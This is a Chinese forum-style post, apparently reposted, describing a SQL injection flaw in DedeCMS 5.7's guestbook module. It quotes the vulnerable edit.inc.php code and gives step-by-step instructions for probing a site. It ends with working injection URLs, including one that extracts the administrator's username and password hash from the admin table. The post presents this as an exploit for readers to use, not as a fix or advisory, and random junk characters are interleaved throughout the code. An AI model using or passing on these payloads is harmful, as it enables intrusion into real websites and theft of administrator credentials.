dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

! h! B) b* K& b( l/ Z7 R漏洞文件edit.inc.php具体代码：
8 J8 x, [! d3 C
% o" f4 a* X, c8 k* E7 M& c. J< ?php  
6 P* a: q7 r3 }& [6 D
: j0 ^  b5 @2 C7 X' [* nif(!defined('DEDEINC')) exit('Request Error!');  
! g' }4 n# V# M8 c& l7 v7 I/ c
   
; G% m9 I* [# n# n+ p# v/ w  ]2 x7 s
  G: G9 d$ s& `/ pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
( H& _1 V; w, v& r/ O$ V# B
3 d& O" k8 h+ telse $GUEST_BOOK_POS = "guestbook.php";  

   

$id = intval($id);  

if(empty($job)) $job='view';  
6 @2 B* v6 t, @2 |
! |1 \' s; ?7 @1 m8 ^5 n) d   
: G) E& V9 _. i% `. u/ H$ Y
0 v- v+ G7 G% d) z1 R3 Xif($job=='del' && $g_isadmin)  

{  
; V% O: j8 d3 m* A6 p7 O
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

3 e1 V0 _+ }6 \4 z; IShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
" l# j# N5 K! k* U9 Y' Q2 l1 b$ {
exit();  

' [8 t9 N; h5 D+ @}  

+ i) F% A' B" W  Jelse if($job=='check' && $g_isadmin)  
# k3 ^# O" I; }% ^1 |/ v% q) W: v  k
{  
6 K% `" G' u, U8 t2 P: O
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
4 S/ B$ v1 r9 x: m5 J/ b
. i# {* I! k; T+ v3 eShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

, a0 @1 f0 @$ ?5 a4 |/ f' I5 c3 kexit();  
5 M# C. F- W+ B: q7 z0 F, d; _
$ T% N. f& _* @: }3 f}  
  v; T& i+ U4 _: m: H: L. \; w7 b
else if($job=='editok')  

{  
% m1 X) u0 E$ u7 |. D
5 [/ O3 |9 @# x8 N3 w# f$remsg = trim($remsg);  
& S- J2 a- [& ?2 W" a% i
if($remsg!='')  
- y* G, d9 b4 W% g
{  
5 j& q: a4 L! m5 G
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
( W" o8 F# p7 v9 F- J8 M! N
if($g_isadmin)  
8 i, ]  w& W2 B  _
{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

& M  M* ^: u/ u& v; b) A- O1 F/ qelse
; I! t% ~% ^5 y3 Z! D+ J* D0 L
{  
' A! T& T& p$ ^4 Z9 p) L
" k1 U+ y% d3 N6 R8 D1 d2 A$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

" g+ E0 ^9 k( o& _( e$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
8 j. t. W# Q2 [2 l: \
6 b6 z3 p3 F8 r- k' |. k# q! A) ]9 X$msg = $oldmsg.$remsg;  
6 }3 n) d$ ]5 X
}  
2 H, e0 \' X9 m+ n
  N. l  I; ^$ H0 ]+ p6 Y}  

9 s% ?) J* _: `  E' x3 F& x//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
0 T' U# o, W$ M+ L" @
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

! W' k: x) `4 }- b  y( M$ KShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
( L2 V$ _2 Y. N- t* H
exit();  
; B( [% i: h- c1 B: _# C
}  
8 F6 i- `0 n. ~; T) O/ J
) E0 R/ V! ?" n8 I# y. W  h//home:www.errs.cc  
1 X5 E# T( [+ b1 H, K( h
if($g_isadmin)  

1 U) ?1 @5 [& I' I9 d{  
$ ]2 D9 x. y/ l: ]1 ~0 A7 D- X
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

+ U. c# U6 i5 F9 J: v* i) J9 Yrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
3 \. ]& [$ y: l2 U, ~* e  R- y9 K
}  

8 J# ]8 L6 _/ p4 [# |3 aelse
( F0 Q# a" o4 m/ I
{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

0 b5 j# G) l+ j/ c4 Nrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
2 R3 r& D4 u* y: j$ {5 C7 j4 z
! T: I: R! f* W$ @2 y} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
* q- p& P7 X$ [. e4 N然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
  I7 [( _$ a( }& D! e1 K访问：

  J) B9 Q4 R5 j- T7 twww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

- t- f8 C/ Q: `
5 j" U# ]2 [* X3 @& X- b明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
' u- z, e- ~) Y8 z如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
8 p& R( i- T' C) a6 T
& ?- H0 F1 r  ?- [6 p$ h% S: Owww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

  M) L: |; M. G/ r" \6 @* |% H% ~( ^大概利用就是这样，大家有兴趣的多研究下！！

最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

3 M5 A* r3 Q/ a- ^5 @view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='